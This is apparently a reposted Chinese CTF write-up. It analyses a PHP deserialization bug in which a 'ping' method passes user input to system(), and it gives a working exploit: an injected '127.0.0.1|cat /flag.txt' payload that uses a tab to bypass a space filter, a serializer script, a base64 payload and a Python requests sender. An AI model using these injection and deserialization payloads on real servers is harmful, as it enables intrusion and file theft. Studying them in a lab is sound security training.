代碼來自第六屆防災科技學院網絡安全技能大賽,侵刪。php
目標
獲取Linux服務器根目錄下的flagpython
代碼
/*home.php*/ class home{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($host){ system("ping -c 2 $host"); } function waf($str){ $str=str_replace(' ','',$str); return $str; } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf(trim(mysql_escape_string($v))); } } } $a=@$_POST['a']; @unserialize(base64_decode($a));
分析
該PHP文件只接收一個base64編碼的POST參數,將其解碼後會進行反序列化操做。mysql
在執行__wakeup()方法以後,會觸發__construct()方法進行初始化,該方法沒有能夠利用的地方。sql
當全部的操做執行完畢以後,須要釋放序列化的對象,觸發__destruct()魔術方法。該方法只容許執行類中的ping方法,並會將args的值做爲ping方法host參數。shell
ping中存在可控參數$host,且調用了system函數,這裏即可以做爲一個利用點。能夠構造一個特殊的payload:安全
ping -c 2 127.0.0.1|cat /flag.txt #不惟一
利用
整理上面的思路可知,若想獲得flag最終要構造出以下的args字符串:服務器
127.0.0.1|cat /flag.txt
而waf等方法又過濾掉了空格,這裏能夠經過將空格換成Tab來繞過該限制。
同時還要注意method必須爲ping。網絡
這裏獲得了構造payload的最終PHP腳本:函數
class home{ private $method; private $args; } $a = new home("ping",array('127.0.0.1|cat /flag.txt')); $b = serialize($a); echo base64_encode($b);
payloadpost
Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==
發送payload獲得flag
import requests data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="} url = 'http://localhost/common/home.php' r = requests.post(url,data=data) print(r.text) #result:flag{glzjin_wants_a_girl_friend}
本文分享 CNBlog - kevin_bruce。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。